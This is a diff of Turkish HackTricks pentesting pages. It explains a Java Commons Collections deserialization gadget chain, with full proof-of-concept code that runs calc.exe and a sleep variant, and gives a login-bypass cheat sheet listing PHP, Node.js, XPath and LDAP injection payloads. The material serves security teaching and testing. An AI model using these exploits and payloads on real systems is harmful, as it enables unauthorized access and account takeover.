* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR gönderin**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Java Transformers to Rutime exec()
Birkaç yerde, aşağıdaki gibi Apache common collections'tan gelen dönüştürücüler kullanan bir java deserialization payload'ı bulabilirsiniz:
Birçok yerde, aşağıdaki gibi Apache common collections'tan transformer'lar kullanan bir java deserialization payload'u bulabilirsiniz:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -52,22 +55,22 @@ lazyMap.get("anything");
}
}
```
Java deserializasyon yükleri hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir hesap makinesi çalıştıracağını anlamak zor olabilir.
Eğer java deserialization payload'ları hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir calc çalıştıracağını anlamak zor olabilir.
Öncelikle, Java'da bir **Dönüştürücü (Transformer)**, bir sınıf alır ve onu farklı bir sınıfa dönüştüren bir şeydir.\
Ayrıca burada **çalıştırılan** yükün **eşdeğer** olduğunu bilmek ilginç olabilir:
Öncelikle, **Java'daki Transformer**'ın bir **sınıfı alan** ve **onu farklı birine dönüştüren** bir şey olduğunu bilmeniz gerekiyor.\
Ayrıca burada **çalıştırılan payload**'ın **eşdeğer** olduğunu bilmek de ilginç:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
Ya da **daha doğru bir ifadeyle**, sonunda neyin yürütüleceği şu olacak:
Ya da **daha kesin olarak**, sonunda çalıştırılacak olan:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### Nasıl
Peki, ilk payload nasıl "basit" tek satırlık olanlara eşdeğer olarak sunuluyor?
Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?
İlk olarak, payload içinde bir dizi (array) dönüşüm zinciri oluşturulduğunu fark edebilirsiniz:
**Öncelikle**, yükte bir **dönüşüm zinciri (dizi) oluşturulduğunu** görebilirsiniz:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
@ -94,15 +97,15 @@ command
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
Kodları okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz keyfi komutları çalıştırabilirsiniz.
Eğer kodu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutlar çalıştırabileceğinizi fark edeceksiniz.
Peki, bu dönüşümler nasıl zincirlenir?
Yani, **bu dönüşümler nasıl zincirleniyor?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
Payload'ın son bölümünde bir **Map nesnesi oluşturulduğunu** görebilirsiniz. Ardından, `LazyMap`'ten `decorate` fonksiyonu, map nesnesi ve zincirlenmiş dönüştürücülerle birlikte çalıştırılır. Aşağıdaki kodlardan da görebileceğiniz gibi, bu, **zincirlenmiş dönüştürücülerin** `lazyMap.factory` özelliği içine kopyalanmasına neden olacaktır:
Son bölümde bir **Map nesnesi oluşturuluyor**. Ardından, `LazyMap`'ten `decorate` fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılıyor. Aşağıdaki koddan, bunun **zincirlenmiş dönüştürücülerin** `lazyMap.factory` niteliğine kopyalanmasına neden olacağını görebilirsiniz:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@ -112,9 +115,9 @@ throw new IllegalArgumentException("Factory must not be null");
this.factory = factory;
}
```
Ve ardından büyük final gerçekleştirilir: `lazyMap.get("anything");`
Ve sonra büyük final gerçekleştirilir: `lazyMap.get("anything");`
İşte `get` fonksiyonunun kodu:
Bu, `get` fonksiyonunun kodudur:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
@ -125,7 +128,7 @@ return value;
return map.get(key);
}
```
Ve işte `transform` fonksiyonunun kodu:
Ve bu, `transform` fonksiyonunun kodudur.
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
@ -134,11 +137,11 @@ object = iTransformers[i].transform(object);
return object;
}
```
Öyleyse, **factory** içinde **`chainedTransformer`**'ı kaydettiğimizi hatırlayın ve **`transform`** fonksiyonunun içinde **tüm bu zincirlenmiş dönüştürücülerden geçtiğimizi ve birbirini takip eden şekilde çalıştırdığımızı** unutmayın. İlginç olan şey, **her bir dönüştürücünün giriş olarak `object`**'i kullandığı ve **object'in en son çalıştırılan dönüştürücünün çıktısı olduğu**. Bu nedenle, **tüm dönüşümler kötü niyetli payload'u çalıştıran birbirine bağlı şekilde çalıştırılıyor**.
Yani, **factory** içinde **`chainedTransformer`**'ı kaydettiğimizi ve **`transform`** fonksiyonu içinde **tüm bu zincirlenmiş dönüştürücülerden geçerek** birbiri ardına çalıştırdığımızı unutmayın. Komik olan şey, **her dönüştürücünün `object`** **olarak girdi** alması ve **object'in son çalıştırılan dönüştürücünün çıktısı** olmasıdır. Bu nedenle, **tüm dönüşümler kötü niyetli yükü zincirleme olarak çalıştırıyor**.
### Özet
Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get yöntemi içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi oluyor:
Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get metodunun içinde nasıl yönettiği nedeniyle, sanki aşağıdaki kodu çalıştırıyormuşuz gibi.
```java
Object value = "someting";
@ -159,15 +162,15 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_Not algoritmanın bir satırda çalışmasına izin veren, `value`'nun her dönüşümün girdisi ve önceki dönüşümün çıktısı olduğuna dikkat edin:_
_Not edin ki `value`, her bir dönüşümün girişi ve önceki dönüşümün çıktısıdır, bu da bir satırlık kodun çalıştırılmasına olanak tanır:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Burada, **ComonsCollections1** payload'ı için kullanılan gadget'ların açıklandığı belirtilmiştir. Ancak, **tüm bunların nasıl başladığı ve yürütüldüğü belirtilmemiştir**. [Burada **ysoserial'in**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) bu payload'ı yürütmek için bir `AnnotationInvocationHandler` nesnesi kullandığını görebilirsiniz çünkü bu nesne deserialize edildiğinde `payload.get()` fonksiyonunu çağıracak ve **tüm payload'ı yürütecektir**.
Not edin ki burada **ComonsCollections1** yükü için kullanılan **gadget'lar**ıklandı. Ama **tüm bunların nasıl çalışmaya başladığı** bırakıldı. Bunu görmek için [buraya bakabilirsiniz ki **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), bu yükü çalıştırmak için bir `AnnotationInvocationHandler` nesnesi kullanır çünkü **bu nesne serileştirildiğinde**, `payload.get()` fonksiyonunu **çağıracak** ve bu da **tüm yükü çalıştıracaktır**.
## Java Thread Sleep
Bu payload, web'in savunmasız olup olmadığını belirlemek için **uygun olabilir çünkü eğer savunmasızsa bir sleep işlemi gerçekleştirir**.
Bu yük, **web'in savunmasız olup olmadığını belirlemek için kullanışlı olabilir çünkü eğer savunmasızsa bir uyku çalıştıracaktır**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -212,18 +215,21 @@ lazyMap.get("anything");
```
## Daha Fazla Gadget
Daha fazla gadget'i burada bulabilirsiniz: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
Daha fazla gadget burada bulabilirsiniz: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,27 +1,33 @@
# PDF Yükleme - XXE ve CORS atlatma
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
</details>
**[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)'i kontrol edin**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)** kontrol edin
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,63 +1,66 @@
# Giriş Bypass
# Login Bypass
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
## **Normal girişi bypass etme**
## **Normal girişi atla**
Bir giriş sayfası bulursanız, bypass etmek için bazı teknikler bulabilirsiniz:
Bir giriş sayfası bulursanız, bunu atlamak için deneyebileceğiniz bazı teknikler:
* Sayfa içinde **yorumları** kontrol edin (aşağıya ve sağa kaydırın?)
* Kısıtlı sayfalara **doğrudan erişebilirsiniz**
* Parametreleri **göndermeyin** (hiçbirini veya sadece 1 tanesini göndermeyin)
* **PHP karşılaştırma hatası** kontrol edin: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* İçeriği json olarak değiştirin ve json değerlerini gönderin (bool true dahil)
* POST'un desteklenmediğine dair bir yanıt alırsanız, `Content-Type: application/json` ile GET isteğiyle JSON'ı göndermeyi deneyebilirsiniz.
* Nodejs potansiyel ayrıştırma hatasını kontrol edin (bu konuyu okuyun [**buradan**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
* Nodejs, bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu da parolanın her zaman doğru olmasını sağlar.
* JSON nesnesi gönderebiliyorsanız, girişi bypass etmek için `"password":{"password": 1}` gönderebilirsiniz.
* Bu girişi bypass etmek için hala geçerli bir kullanıcı adını **bilmeli ve göndermelisiniz**.
* `mysql.createConnection` çağrılırken `Object` parametresi geçildiğinde, **"stringifyObjects":true** seçeneğini eklemek, beklenmeyen tüm davranışları engelleyecektir.
* Sayfa içindeki **yorumları** kontrol edin (aşağı kaydırın ve sağa mı?)
* **Kısıtlı sayfalara doğrudan erişip erişemeyeceğinizi** kontrol edin
* **Parametreleri göndermemeye** dikkat edin (hiç göndermeyin veya sadece 1 gönderin)
* **PHP karşılaştırma hatasını** kontrol edin: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* **İçerik türünü json olarak değiştirin** ve json değerleri gönderin (bool true dahil)
* POST'un desteklenmediğini belirten bir yanıt alırsanız, **JSON'u gövdeye ama GET isteği ile** `Content-Type: application/json` ile göndermeyi deneyebilirsiniz
* Nodejs potansiyel ayrıştırma hatasını kontrol edin (okuyun [**bunu**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
* Nodejs bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu, şifre bitinin her zaman doğru olmasını sağlar.
* Eğer bir JSON nesnesi gönderebiliyorsanız, girişi atlamak için `"password":{"password": 1}` gönderebilirsiniz.
* Bu girişi atlamak için hala **geçerli bir kullanıcı adı bilmeniz ve göndermeniz gerektiğini** unutmayın.
* `mysql.createConnection` çağrısında `"stringifyObjects":true` seçeneğini eklemek, **parametre olarak `Object` geçirildiğinde tüm beklenmedik davranışları engelleyecektir.**
* Kimlik bilgilerini kontrol edin:
* Kullanılan teknoloji/platformun [**varsayılan kimlik bilgileri**](../../generic-methodologies-and-resources/brute-force.md#default-credentials)
* **Ortak kombinasyonlar** (root, admin, password, teknolojinin adı, bu şifrelerden biriyle varsayılan kullanıcı).
* **Cewl** kullanarak bir sözlük oluşturun, **varsayılan** kullanıcı adını ve şifresini (varsa) ekleyin ve tüm kelimeleri **kullanıcı adları ve şifreler** olarak kullanarak brute-force yapmaya çalışın
* Daha büyük bir **sözlük kullanarak brute-force** yapın (**[Brute force](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
* **Yaygın kombinasyonlar** (root, admin, password, teknolojinin adı, bu şifrelerden biriyle varsayılan kullanıcı).
* **Cewl** kullanarak bir sözlük oluşturun, **varsayılan** kullanıcı adı ve şifreyi (varsa) ekleyin ve tüm kelimeleri **kullanıcı adı ve şifre** olarak kullanarak brute-force yapmayı deneyin.
* Daha büyük bir **sözlük** kullanarak **brute-force** yapın (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)
### SQL Injection kimlik doğrulamasını bypass etme
### SQL Injection kimlik doğrulama atlatma
[**SQL enjeksiyonları** aracılığıyla girişi bypass etmek için birkaç hile bulabilirsiniz](../sql-injection/#authentication-bypass).
[Giriş atlatmak için **SQL enjeksiyonları** aracılığıyla birkaç ipucu bulabilirsiniz](../sql-injection/#authentication-bypass).
Aşağıdaki sayfada, SQL Enjeksiyonları aracılığıyla girişi bypass etmeye çalışmak için **özel bir liste** bulabilirsiniz:
Aşağıdaki sayfada **SQL Enjeksiyonları** aracılığıyla girişi atlamak için denemek üzere bir **özel liste** bulabilirsiniz:
{% content-ref url="sql-login-bypass.md" %}
[sql-login-bypass.md](sql-login-bypass.md)
{% endcontent-ref %}
### No SQL Injection kimlik doğrulamasını bypass etme
### No SQL Injection kimlik doğrulama atlatma
[**No SQL Enjeksiyonları** aracılığıyla girişi bypass etmek için birkaç hile bulabilirsiniz](../nosql-injection.md#basic-authentication-bypass)**.**
[Giriş atlatmak için **No SQL Enjeksiyonları** aracılığıyla birkaç ipucu bulabilirsiniz](../nosql-injection.md#basic-authentication-bypass)**.**
NoSQL Enjeksiyonları, parametre değerini değiştirmeyi gerektirdiği için bunları manuel olarak test etmeniz gerekecektir.
NoSQL Enjeksiyonları parametre değerlerini değiştirmeyi gerektirdiğinden, bunları manuel olarak test etmeniz gerekecek.
### XPath Injection kimlik doğrulamasını bypass etme
### XPath Injection kimlik doğrulama atlatma
[**XPath Enjeksiyonu** aracılığıyla girişi bypass etmek için birkaç hile bulabilirsiniz.](../xpath-injection.md#authentication-bypass)
[Giriş atlatmak için **XPath Injection** aracılığıyla birkaç ipucu bulabilirsiniz.](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -73,9 +76,9 @@ NoSQL Enjeksiyonları, parametre değerini değiştirmeyi gerektirdiği için bu
admin' or '
admin' or '1'='2
```
### LDAP Enjeksiyonu kimlik doğrulama atlatma
### LDAP Injection kimlik doğrulama atlatma
[**LDAP Enjeksiyonu** aracılığıyla girişi atlatmak için birkaç hile bulabilirsiniz.](../ldap-injection.md#giriş-atlatma)
[Burada **LDAP Injection** aracılığıyla giriş atlatmak için birkaç hile bulabilirsiniz.](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -91,33 +94,36 @@ admin))(|(|
```
### Beni Hatırla
Eğer sayfada "**Beni Hatırla**" özelliği varsa, nasıl uygulandığını kontrol edin ve başka hesapları **ele geçirmek** için bunu istismar edebilirsiniz.
Eğer sayfada "**Beni Hatırla**" işlevi varsa, nasıl uygulandığını kontrol edin ve bunu **diğer hesapları ele geçirmek** için kötüye kullanıp kullanamayacağınıza bakın.
### Yönlendirmeler
Sayfalar genellikle girişten sonra kullanıcıları yönlendirir, bu yönlendirmeyi değiştirerek bir [**Açık Yönlendirme**](../open-redirect.md) oluşturabilir misiniz kontrol edin. Belki kullanıcıyı kendi web sitenize yönlendirerek bazı bilgileri (kodlar, çerezler...) çalabilirsiniz.
Sayfalar genellikle giriş yaptıktan sonra kullanıcıları yönlendirir, bu yönlendirmeyi değiştirebilir misiniz [**Açık Yönlendirme**](../open-redirect.md) oluşturmak için kontrol edin. Kullanıcıyı kendi web sitenize yönlendirirseniz bazı bilgileri (kodlar, çerezler...) çalabilirsiniz.
## Diğer Kontroller
* Giriş işlevselliğini istismar ederek kullanıcı adlarını **numaralandırıp** numaralandırılamadığını kontrol edin.
